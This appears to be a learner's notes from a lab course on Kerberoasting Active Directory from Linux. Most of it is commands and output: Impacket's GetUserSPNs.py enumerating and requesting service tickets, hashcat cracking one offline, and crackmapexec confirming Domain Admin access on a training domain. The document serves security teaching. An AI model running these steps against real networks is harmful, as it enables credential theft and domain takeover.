18-Kerberoasting - from Linux

Kerberoasting is a technique used in **Active Directory** environments for privilege escalation or lateral movement. It exploits **Service Principal Names (SPNs)**, which are identifiers in **Kerberos** that map services to specific service accounts.

in these module we will perform attack on Kerberos to get the password of SPN and access the services

Key Points:

1. **Targeting SPN Accounts:**
   - Any domain user can request a Kerberos ticket for an SPN-associated service account within the same domain or across trusted forests (if allowed).
2. **TGS-REP Ticket:**
   - The ticket is encrypted using the NTLM hash of the service account. This can be cracked offline using tools like **Hashcat** to obtain the plaintext password.
3. **Importance of Service Accounts:**
   - These accounts often have high privileges (local admin or even Domain Admin).
   - Passwords are frequently weak, reused, or shared across multiple systems, making them easier to exploit.
4. **Attack Goals:**
   - Cracking a service account password (e.g., for SQL Server) could grant local admin access on multiple servers.
   - Attackers can use the access to execute commands or interact with services like **MSSQL** by enabling features like **xp_cmdshell**.
5. **Origin of the Technique:**
   - The technique was first introduced at **Derbycon 2014** by **Tim Medin**.

In Short:

Kerberoasting allows any domain user to request encrypted tickets and crack them to retrieve plaintext service account passwords. With these credentials, attackers can escalate privileges and exploit resources across the network.

Kerberoasting - Performing the Attack **must have valid credentials**

Depending on your position in a network, this attack can be performed in multiple ways:

- From a non-domain joined Linux host using valid domain user credentials.

- From a domain-joined Linux host as root after retrieving the keytab file.
- From a domain-joined Windows host authenticated as a domain user.
- From a domain-joined Windows host with a shell in the context of a domain account.
- As SYSTEM on a domain-joined Windows host.
- From a non-domain joined Windows host using runas /netonly.

Several tools can be utilized to perform the attack:

- Impacket's GetUserSPNs.py from a non-domain joined Linux host.
- A combination of the built-in setspn.exe Windows binary, PowerShell, and Mimikatz.
- From Windows, utilizing tools such as PowerView, Rubeus, and other PowerShell scripts.

GetUserSPNs.py : https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

Rubeus : https://github.com/GhostPack/Rubeus

notes: A prerequisite to performing Kerberoasting attacks is either domain user credentials (cleartext or just an NTLM hash if using Impacket), a shell in the context of a domain user, or account such as SYSTEM. Once we have this level of access, we can start. We must also know which host in the domain is a Domain Controller so we can query it.

Kerberoasting with GetUserSPNs.py

Let's start by installing the Impacket toolkit, which we can grab from Here https://github.com/SecureAuthCorp/impacket[](https://github.com/SecureAuthCorp/impacket). After cloning the repository, we can cd into the directory and install it as follows:

Installing Impacket using Pip

```
0xAmr0zZakaria@htb[/htb]$ sudo python3 -m pip install impackt

Processing /opt/impacket
  Preparing metadata (setup.py) ... done
Requirement already satisfied: chardet in /usr/lib/python3/dist-packages
(from impacket==0.9.25.dev1+20220208.122405.769c3196) (4.0.0)
Requirement already satisfied: flask>=1.0 in /usr/lib/python3/dist-packages
(from impacket==0.9.25.dev1+20220208.122405.769c3196) (1.1.2)
Requirement already satisfied: future in /usr/lib/python3/dist-packages
(from impacket==0.9.25.dev1+20220208.122405.769c3196) (0.18.2)
Requirement already satisfied: ldap3!=2.5.0,!=2.5.2,!=2.6,>=2.5 in
/usr/lib/python3/dist-packages (from
impacket==0.9.25.dev1+20220208.122405.769c3196) (2.8.1)
Requirement already satisfied: ldapdomaindump>=0.9.0 in
```

```
/usr/lib/python3/dist-packages (from
impacket==0.9.25.dev1+20220208.122405.769c3196) (0.9.3)

<SNIP>
```

This will install all Impacket tools and place them in our PATH so we can call them from any directory on our attack host. Impacket is already installed on the attack host that we can spawn at the end of this section to follow along and work through the exercises. Running the tool with the `-h` flag will bring up the help menu.

Listing GetUserSPNs.py Help Options

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -h

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth
Corporation

usage: GetUserSPNs.py [-h] [-target-domain TARGET_DOMAIN]
                      [-usersfile USERSFILE] [-request]
                      [-request-user username] [-save]
                      [-outputfile OUTPUTFILE] [-debug]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-dc-ip ip address]
                      target

Queries target domain for SPNs that are running under a user account

positional arguments:
  target                domain/username[:password]

<SNIP>
```

We can start by just gathering a listing of SPNs in the domain. To do this, we will need a set of valid domain credentials and the IP address of a Domain Controller. We can authenticate to the Domain Controller with a cleartext password, NT password hash, or even a Kerberos ticket. For our purposes, we will use a password. Entering the below command will generate a credential prompt and then a nicely formatted listing of all SPN accounts. From the output below, we can see that several accounts are members of the Domain Admins group. If we can retrieve and crack one of these tickets, it could lead to domain compromise. It is always worth investigating the group membership of all accounts because we may find an account with an easy-to-crack ticket that can help us further our goal of moving laterally/vertically in the target domain.

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5
INLANEFREIGHT.LOCAL/forend
```

```
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth
Corporation

Password:
ServicePrincipalName                            Name                MemberOf
PasswordLastSet             LastLogon  Delegation
----------------------------------------------  -----------------  ----------
-----------------------------------------------------------------------------
--  --------------------------  ---------  ----------
backupjob/veam001.inlanefreight.local           BACKUPAGENT         CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:15:40.842452  <never>
sts/inlanefreight.local                         SOLARWINDSMONITOR   CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:14:48.701834  <never>
MSSQLSvc/SPSJDB.inlanefreight.local:1433        sqlprod             CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:09:46.326865  <never>
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351   sqlqa               CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:10:06.545598  <never>
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433   sqldev              CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:13:31.639334  <never>
adfsconnect/azure01.inlanefreight.local         adfs
CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security
Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never>
```

We can now pull all TGS tickets for offline processing using the `-request` flag. The TGS tickets will be output in a format that can be readily provided to Hashcat or John the Ripper for offline password cracking attempts.

Requesting all TGS Tickets

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5
INLANEFREIGHT.LOCAL/forend -request

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth
Corporation

Password:
ServicePrincipalName                            Name                MemberOf
PasswordLastSet             LastLogon  Delegation
----------------------------------------------  -----------------  ----------
```

```
--------------------------------------------------------------------------------
--  --------------------------  ---------  ----------
backupjob/veam001.inlanefreight.local          BACKUPAGENT        CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:15:40.842452  <never>
sts/inlanefreight.local                        SOLARWINDSMONITOR  CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:14:48.701834  <never>
MSSQLSvc/SPSJDB.inlanefreight.local:1433       sqlprod            CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:09:46.326865  <never>
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351  sqlqa              CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:10:06.545598  <never>
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev             CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:13:31.639334  <never>
adfsconnect/azure01.inlanefreight.local        adfs
CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security
Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never>



$krb5tgs$23$*BACKUPAGENT$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/BACKUPAGENT
*$790ae75fc53b0ace5daeb5795d21b8fe$b6be1ba275e23edd3b7dd3ad4d711c68f9170bac8
5e722cc3d94c80c5dca6bf2f07ed3d3bc209e9a6ff0445cab89923b26a01879a53249c5f0a8c
4bb41f0ea1b1196c322640d37ac064ebe3755ce888947da98b5707e6b06cbf679db1e7bbbea7
d10c36d27f976d3f9793895fde20d3199411a90c528a51c91d6119cb5835bd29457887dd917b
6c621b91c2627b8dee8c2c16619dc2a7f6113d2e215aef48e9e4bba8deff329a68666976e55e
6b3af0cb8184e5ea6c8c2060f8304bb9e5f5d930190e08d03255954901dc9bb12e53ef87ed60
3eb2247d907c3304345b5b481f107cefdb4b01be9f4937116016ef4bbefc8af2070d039136b7
9484d9d6c7706837cd9ed4797ad66321f2af200bba66f65cac0584c42d900228a63af39964f0
2b016a68a843a81f562b493b29a4fc1ce3ab47b934cbc1e29545a1f0c0a6b338e5ac821fec2b
ee503bc56f6821945a4cdd24bf355c83f5f91a671bdc032245d534255aac81d1ef318d83e3c5
2664cfd555d24a632ee94f4adeb258b91eda3e57381dba699f5d6ec7b9a8132388f2346d33b6
70f1874dfa1e8ee13f6b3421174a61029962628f0bc84fa0c3c6d7bbfba8f2d1900ef9f7ed55
95d80edc7fc6300385f9aa6ce1be4c5b8a764c5b60a52c7d5bbdc4793879bfcd7d1002acbe83
583b5a995cf1a4bbf937904ee6bb537ee00d99205ebf5f39c722d24a910ae0027c7015e6daf7
3da77af1306a070fdd50aed472c444f5496ebbc8fe961fee9997651daabc0ef0f64d47d8342a
499fa9fb8772383a0370444486d4142a33bc45a54c6b38bf55ed613abbd0036981dabc88cc88
a5833348f293a88e4151fbda45a28ccb631c847da99dd20c6ea4592432e0006ae559094a4c54
6a8e0472730f0287a39a0c6b15ef52db6576a822d6c9ff06b57cfb5a2abab77fd3f119caaf74
ed18a7d65a47831d0657f6a3cc476760e7f71d6b7cf109c5fe29d4c0b0bb88ba963710bd0762
```

67b889826cc1316ac7e6f541cecba71cb819eace1e2e2243685d6179f6fb6ec7cfcac837f019
89e7547f1d6bd6dc772aed0d99b615ca7e44676b38a02f4cb5ba8194b347d7f21959e3c41e29
a0ad422df2a0cf073fcfd37491ac062df903b77a32101d1cb060efda284cae727a2e6cb890f4
243a322794a97fc285f04ac6952aa57032a0137ad424d231e15b051947b3ec0d7d654353c41d
6ad30c6874e5293f6e25a95325a3e164abd6bc205e5d7af0b642837f5af9eb4c5bca9040ab4b
999b819ed6c1c4645f77ae45c0a5ae5fe612901c9d639392eaac830106aa249faa5a895633b2
0f553593e3ff01a9bb529ff036005ec453eaec481b7d1d65247abf62956366c0874493cf16da
6ffb9066faa5f5bc1db5bbb51d9ccadc6c97964c7fe1be2fb4868f40b3b59fa6697443442fa5
cebaaed9db0f1cb8476ec96bc83e74ebe51c025e14456277d0a7ce31e8848d88cbac9b57ac74
0f4678f71a300b5f50baa6e6b85a3b10a10f44ec7f708624212aeb4c60877322268acd941d59
0f81ffc7036e2e455e941e2cfb97e33fec5055284ae48204d
$krb5tgs$23$*SOLARWINDSMONITOR$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/SOLAR
WINDSMONITOR*$993de7a8296f2a3f2fa41badec4215e1$d0fb2166453e4f2483735b9005e15
667dbfd40fc9f8b5028e4b510fc570f5086978371ecd81ba6790b3fa7ff9a007ee9040f0566f
4aed3af45ac94bd884d7b20f87d45b51af83665da67fb394a7c2b345bff2dfe7fb72836bb1a4
3f12611213b19fdae584c0b8114fb43e2d81eeee2e2b008e993c70a83b79340e7f0a6b6a1dba
9fa3c9b6b02adde8778af9ed91b2f7fa85dcc5d858307f1fa44b75f0c0c80331146dfd5b9c5a
226a68d9bb0a07832cc04474b9f4b4340879b69e0c4e3b6c0987720882c6bb6a52c885d1b79e
301690703311ec846694cdc14d8a197d8b20e42c64cc673877c0b70d7e1db166d575a5eb883f
49dfbd2b9983dd7aab1cff6a8c5c32c4528e798237e837ffa1788dca73407aac79f9d6f74c66
26337928457e0b6bbf666a0778c36cba5e7e026a177b82ed2a7e119663d6fe9a7a8485896223
3f843d784121147ef4e63270410640903ea261b04f89995a12b42a223ed686a4c3dcb95ec9b6
9d12b343231cccfd29604d6d777939206df4832320bdd478bda0f1d262be897e2dcf51be0a75
1490350683775dd0b8a175de4feb6cb723935f5d23f7839c08351b3298a6d4d8530853d9d4d1
e57c9b220477422488c88c0517fb210856fb603a9b53e734910e88352929acc00f82c4d8f1dd
783263c04aff6061fb26f3b7a475536f8c0051bd3993ed24ff22f58f7ad5e0e1856a74967e70
c0dd511cc52e1d8c2364302f4ca78d6750aec81dfdea30c298126987b9ac867d6269351c4176
1134bc4be67a8b7646935eb94935d4121161de68aac38a740f09754293eacdba7dfe26ace6a4
ea84a5b90d48eb9bb3d5766827d89b4650353e87d2699da312c6d0e1e26ec2f46f3077f13825
764164368e26d58fc55a358ce979865cc57d4f34691b582a3afc18fe718f8b97c44d0b812e5d
eeed444d665e847c5186ad79ae77a5ed6efab1ed9d863edb36df1a5cd4abdbf7f7e872e3d5fa
0bf7735348744d4fc048211c2e7973839962e91db362e5338da59bc0078515a513123d6c5537
974707bdc303526437b4a4d3095d1b5e0f2d9db1658ac2444a11b59ddf2761ce4c1e5edd92bc
f5cbd8c230cb4328ff2d0e2813b4654116b4fda929a38b69e3f9283e4de7039216f18e85b9ef
1a59087581c758efec16d948accc909324e94cad923f2487fb2ed27294329ed314538d0e0e75
019d50bcf410c7edab6ce11401adbaf5a3a009ab304d9bdcb0937b4dcab89e90242b75366446
77c62fd03741c0b9d090d8fdf0c856c36103aedfd6c58e7064b07628b58c3e086a685f70a137
7f53c42ada3cb7bb4ba0a69085dec77f4b7287ca2fb2da9bcbedc39f50586bfc9ec0ac61b687
043afa239a46e6b20aacb7d5d8422d5cacc02df18fea3be0c0aa0d83e7982fc225d9e6a2886d
c223f6a6830f71dabae21ff38e1722048b5788cd23ee2d6480206df572b6ba2acfe1a5ff6bee
8812d585eeb4bc8efce92fd81aa0a9b57f37bf3954c26afc98e15c5c90747948d6008c80b620
a1ec54ded2f3073b4b09ee5cc233bf7368427a6af0b1cb1276ebd85b45a30

```
<SNIP>
```

We can also be more targeted and request just the TGS ticket for a specific account. Let's try requesting one for just the `sqldev` account.

Requesting a Single TGS ticket

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5
INLANEFREIGHT.LOCAL/forend -request-user sqldev

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth
Corporation

Password:
ServicePrincipalName                            Name    MemberOf
PasswordLastSet             LastLogon  Delegation
----------------------------------------------  ------  ---------------------
-----------------------------  --------------------------  ---------  -----
-----
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev  CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:13:31.639334
<never>



$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/sqldev*$4ce5b711
88b357b26032321529762c8a$1bdc5810b36c8e485ba08fcb7ab273f778115cd17734ec65be7
1f5b4bea4c0e63fa7bb454fdd5481e32f002abff9d1c7827fe3a75275f432ebb628a471d3be4
5898e7cb336404e8041d252d9e1ebef4dd3d249c4ad3f64efaafd06bd024678d4e6bdf582e59
c5660fcf0b4b8db4e549cb0409ebfbd2d0c15f0693b4a8ddcab243010f3877d9542c790d2b79
5f5b9efbcfd2dd7504e7be5c2f6fb33ee36f3fe001618b971fc1a8331a1ec7b420dfe13f67ca
7eb53a40b0c8b558f2213304135ad1c59969b3d97e652f55e6a73e262544fe581ddb71da0604
19b2f600e08dbcc21b57355ce47ca548a99e49dd68838c77a715083d6c26612d6c60d72e4d42
1bf39615c1f9cdb7659a865eecca9d9d0faf2b77e213771f1d923094ecab2246e9dd6e736f83
b21ee6b352152f0b3bbfea024c3e4e5055e714945fe3412b51d3205104ba197037d44a0eb73e
543eb719f12fd78033955df6f7ebead5854ded3c8ab76b412877a5be2e7c9412c25cf1dcb76d
854809c52ef32841269064661931dca3c2ba8565702428375f754c7f2cada7c2b34bbe191d60
d07111f303deb7be100c34c1c2c504e0016e085d49a70385b27d0341412de774018958652d80
577409bff654c00ece80b7975b7b697366f8ae619888be243f0e3237b3bc2baca237fb96719d
9bc1db2a59495e9d069b14e33815cafe8a8a794b88fb250ea24f4aa82e896b7a68ba3203735e
c4bca937bceac61d31316a43a0f1c2ae3f48cbcbf294391378ffd872cf3721fe1b427db0ec33
fd9e4dfe39c7cbed5d70b7960758a2d89668e7e855c3c493def6aba26e2846b98f65b798b349
8af7f232024c119305292a31ae121a3472b0b2fcaa3062c3d93af234c9e24d605f155d8e14ac
```

```
11bb8f810df400604c3788e3819b44e701f842c52ab302c7846d6dcb1c75b14e2c9fdc68a5de
b5ce45ec9db7318a80de8463e18411425b43c7950475fb803ef5a56b3bb9c062fe90ad94c55c
dde8ec06b2e5d7c64538f9c0c598b7f4c3810ddb574f689563db9591da93c879f5f7035f4ff5
a6498ead489fa7b8b1a424cc37f8e86c7de54bdad6544ccd6163e650a5043819528f38d64409
cb1cfa0aeb692bdf3a130c9717429a49fff757c713ec2901d674f80269454e390ea27b8230de
c7fffb032217955984274324a3fb423fb05d3461f17200dbef0a51780d31ef4586b51f130c86
4db79796d75632e539f1118318db92ab54b61fc468eb626beaa7869661bf11f0c3a501512a94
904c596652f6457a240a3f8ff2d8171465079492e93659ec80e2027d6b1865f436a443b4c16b
5771059ba9b2c91e871ad7baa5355d5e580a8ef05bac02cf135813b42a1e172f873bb4ded2e9
5faa6990ce92724bcfea6661b592539cd9791833a83e6116cb0ea4b6db3b161ac7e7b425d0c2
49b3538515ccfb3a993affbd2e9d247f317b326ebca20fe6b7324ffe311f225900e14c62eb34
d9654bb81990aa1bf626dec7e26ee2379ab2f30d14b8a98729be261a5977fefdcaaa3139d4b8
2a056322913e7114bc133a6fc9cd74b96d4d6a2
```

With this ticket in hand, we could attempt to crack the user's password offline using Hashcat. If we are successful, we may end up with Domain Admin rights.

To facilitate offline cracking, it is always good to use the `-outputfile` flag to write the TGS tickets to a file that can then be run using Hashcat on our attack system or moved to a GPU cracking rig.

Saving the TGS Ticket to an Output File

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5
INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth
Corporation

Password:
ServicePrincipalName                           Name    MemberOf
PasswordLastSet             LastLogon  Delegation
----------------------------------------------  ------  ---------------------
-----------------------------  --------------------------  ---------  -----
-----
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev  CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:13:31.639334
<never>
```

Here we've written the TGS ticket for the `sqldev` user to a file named `sqldev_tgs`. Now we can attempt to crack the ticket offline using Hashcat hash mode `13100`.

Cracking the Ticket Offline with Hashcat

```
0xAmr0zZakaria@htb[/htb]$ hashcat -m 13100 sqldev_tgs
/usr/share/wordlists/rockyou.txt
```

```
hashcat (v6.1.1) starting...

<SNIP>

$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/sqldev*$81f3efb5
827a05f6ca196990e67bf751$f0f5fc941f17458eb17b01df6eeddce8a0f6b3c605112c5a71d
5f66b976049de4b0d173100edaee42cb68407b1eca2b12788f25b7fa3d06492effe9af37a8a8
001c4dd2868bd0eba82e7d8d2c8d2e3cf6d8df6336d0fd700cc563c8136013cca408fec4bd96
3d035886e893b03d2e929a5e03cf33bbef6197c8b027830434d16a9a931f748dede9426a5d02
d5d1cf9233d34bb37325ea401457a125d6a8ef52382b94ba93c56a79f78cb26ffc9ee140d7bd
3bdb368d41f1668d087e0e3b1748d62dfa0401e0b8603bc360823a0cb66fe9e404eada7d97c3
00fde04f6d9a681413cc08570abeeb82ab0c3774994e85a424946def3e3dbdd704fa944d440d
f24c84e67ea4895b1976f4cda0a094b3338c356523a85d3781914fc57aba7363feb449115116
4756ecb19ed0f5723b404c7528ebf0eb240be3baa5352d6cb6e977b77bce6c4e483cbc0e4d3c
b8b1294ff2a39b505d4158684cd0957be3b14fa42378842b058dd2b9fa744cee4a8d5c99a91c
a886982f4832ad7eb52b11d92b13b5c48942e31c82eae9575b5ba5c509f1173b73ba362d1cde
3bbd5c12725c5b791ce9a0fd8fcf5f8f2894bc97e8257902e8ee050565810829e4175accee78
f909cc418fd2e9f4bd3514e4552b45793f682890381634da504284db4396bd2b68dfeea5f49e
0de6d9c6522f3a0551a580e54b39fd0f17484075b55e8f771873389341a47ed9cf96b8e53c97
08ca4fc134a8cf38f05a15d3194d1957d5b95bb044abbb98e06ccd77703fa5be4aacc1a669fe
41e66b69406a553d90efe2bb43d398634aff0d0b81a7fd4797a953371a5e02e25a2dd69d16b1
9310ac843368e043c9b271cab112981321c28bfc452b936f6a397e8061c9698f937e12254a9a
adf231091be1bd7445677b86a4ebf28f5303b11f48fb216f9501667c656b1abb6fc8c2d74dc0
ce9f078385fc28de7c17aa10ad1e7b96b4f75685b624b44c6a8688a4f158d84b08366dd26d05
2610ed15dd68200af69595e6fc4c76fc7167791b761fb699b7b2d07c120713c7c797c3c3a616
a984dbc532a91270bf167b4aaded6c59453f9ffecb25c32f79f4cd01336137cf4eee304edd20
5c0c8772f66417325083ff6b385847c6d58314d26ef88803b66afb03966bd4de4d898cf7ce52
b4dd138fe94827ca3b2294498dbc62e603373f3a87bb1c6f6ff195807841ed636e3ed44ba1e1
9fbb19bb513369fca42506149470ea972fccbab40300b97150d62f456891bf26f1828d3f47c4
ead032a7d3a415a140c32c416b8d3b1ef6ed95911b30c3979716bda6f61c946e4314f046890b
c09a017f2f4003852ef1181cec075205c460aea0830d9a3a29b11e7c94fffca0dba76ba3ba1f
0577306555b2cbdf036c5824ccffa1c880e2196c0432bc46da9695a925d47febd3be10104dd8
6877c90e02cb0113a38ea4b7e4483a7b18b15587524d236d5c67175f7142cc75b1ba05b2395e
4e85262365044d272876f500cb511001850a390880d824aec2c452c727beab71f56d8189440e
cc3915c148a38eac06dbd27fe6817ffb1404c1f:database!

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......:
$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$INLANEFREIG...404c1f
Time.Started.....: Tue Feb 15 17:45:29 2022, (10 secs)
```

```
Time.Estimated...: Tue Feb 15 17:45:39 2022, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   821.3 kH/s (11.88ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8765440/14344386 (61.11%)
Rejected.........: 0/8765440 (0.00%)
Restore.Point....: 8749056/14344386 (60.99%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: davius07 -> darten170

Started: Tue Feb 15 17:44:49 2022
Stopped: Tue Feb 15 17:45:41 2022
```

```
┌──[ben@mrb3n]─[/tmp]
└─── $
```

We've successfully cracked the user's password as `database!`. As the last step, we can confirm our access and see that we indeed have Domain Admin rights as we can authenticate to the target DC in the INLANEFREIGHT.LOCAL domain. From here, we could perform post-exploitation and continue to enumerate the domain for other paths to compromise and other notable flaws and misconfigurations.

Testing Authentication against a Domain Controller

```
0xAmr0zZakaria@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p
database!

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build
17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True)
```

```
(SMBv1:False)
SMB          172.16.5.5       445     ACADEMY-EA-DC01   [+]
INLANEFREIGHT.LOCAL\sqldev:database! (Pwn3d!
```

another exampel: we will use the username: sqldev , password : database!

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev
```

```
[-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C090690, comment: AcceptSecurityContext error, data 52e, v4563
┌──[root@ea-attack01]─[/home/htb-student]
└──► #GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                                  Name              MemberOf                                                                                                  PasswordLastSet             LastLogon
Delegation
----------------------------------------------------  ----------------  ----------------------------------------------------------------------------------------------------------  --------------------------  --------------------------
---------
MSSQLSvc/ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL:1433     damundsen         CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL                                         2022-03-24 12:20:34.127432  2022-04-10 18:50:58.924378

MSSQL/ACADEMY-EA-FILE                                 damundsen         CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL                                         2022-03-24 12:20:34.127432  2022-04-10 18:50:58.924378

backupjob/veam001.inlanefreight.local                 backupagent       CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                       2022-02-15 17:15:40.842452  2022-04-18 21:20:32.090310

sts/inlanefreight.local                               solarwindsmonitor CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                       2022-02-15 17:14:48.701834  <never>

MSSQLSvc/SPSJDB.inlanefreight.local:1433              sqlprod           CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                        2022-02-15 17:09:46.326865  <never>

MSSQLSvc/SQL-CL01-01inlanefreight.local:49351         sqlqa             CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                        2022-02-15 17:10:06.545598  <never>

MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433         sqldev            CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                       2022-02-15 17:13:31.639334  <never>

adfsconnect/azure01.inlanefreight.local               adfs              CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL                 2022-02-15 17:15:27.108079  <never>

testspn/kerberoast.inlanefreight.local                testspn                                                                                                                     2022-02-27 15:15:43.406442  <never>

testspn2/kerberoast.inlanefreight.local               testspn2                                                                                                                    2022-02-27 15:59:39.843945  <never>

http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL            certsvc                                                                                                                     2022-03-30 15:44:18.414039  2022-03-30 15:50:53.679679

vmware/inlanefreight.local                            svc_vmwaresso                                                                                                               2022-04-05 15:32:46.799565  <never>
```

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev  -request
```

we will get all TGS

```
88430501d5928e4ccaf0dcb6a016507d8d36bc1d2807a058902c18a849c879a
$krb5tgs$23$*sqlprod$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/sqlprod*$13d73350a648b03df9e3a605d602b3ea$64d2f566046a368163741302d9eae5335cc8cf3270065d054a22ce600cedd891b1a0aad7d0d8b2844daaedfea8318ba8b7bd81c67d66dad1e
2052f3cb7352dab5ce14abfab671b1adfe9c2021999370f9818f605a1b4bc1c146f7746690f0db781c2a66b422482049a4c38e2ff8ef4d8813fbf82487e02b889bcf2935ad73aba2b80f2f3d33c921c3fbcdba98ff8f504a62bfec1195590cfcbe8060a386ab9f0f53523261
e4bc28fc430d0ad4ff95e265562fd0e8f7e1e2ef3d90b1e773278273e2d43c3f4aae6a0db5f585c81ccb72a6827bfe4ad8d9a1ccbb67d1c64f265341c57705d21d4b54fd62f3cb57678f0d33fc33b8273367bf08b55aaa5fad46b1ebc2055e1fe928990889cc45eb2573839c
fae10e7e8cfa9becbe5dd0437e232c0925dd9321fbe63aaf28a855834ecd8b3d2559d51f79fe5d60798806ab6a4074fe60902cef1b9d3b63707556322397 14b32938ada107b8f191fa6f34db57eb233fd42d0027dd1f21ab182cd7c810dfe038616b91fe4a8584e01b055c47
2dec10f83b91c7186f7884f1bff0a5fe25c81d0193bb2857289d1c3068f2680723f80bbb7c628b33cf56725212a22d82f7e6d7ed9b2f0071df36ff4c547a4603344972eb495d96f9ec847f4779e3ae8257b0b8fca10767fc7475d0ee4826092e456d890f75eeb348fa969e36
47b729b904b66117451a387184129ca1e4ae2d1869f733dec1bbc0de742f52fd7b888bb671e463e8e5513e64b3dbbba1740847553052845142 5d9f3f0589f8dbac86849962fb54f582fb5c4064f07b1a62471b29f6127a35b4bdf61a55ebbf9a77210b3d2ea7667b01226a157
f0d67baf9cd4be3648a657fbb6cab81ff3abf8263c9158c54c104a37412910fad7337c056db2e1ceaea765ee52d3bf234c22994b98d83f7c4f208ccfd287912abfb6d99c0bcc3395c2a1ec708944c4249592bcbd61abc5ee9d73a68ca6d02197f6a01ae2f73bdab0e7626ba4
9cff28f4478276050530c4123aeca221dfc059c7318844214e434cf688c698ba0f732f2edc397b75e31d30cff3c4cf98e6f0c462a7bb88aa084e7951bad08ee246ed708a1bdcf1d7d9024a73c09d800443ff4774936eddbd69bf55e53055acf5319ced1b5092541ffcc0f249
e6b3047524d0010745aff26478f975fb228d63efc90fa811c2ef3bf6cd46b5c7e487d21eded6e3c6719460339b41181900db938bbc459b80a151036f062f5bb1a89df0aac510ca71128c8179a2a2f7c6cfaee5b782f809e5e186ee26c14302f2b3f667c23517f4fe25e9c8fa
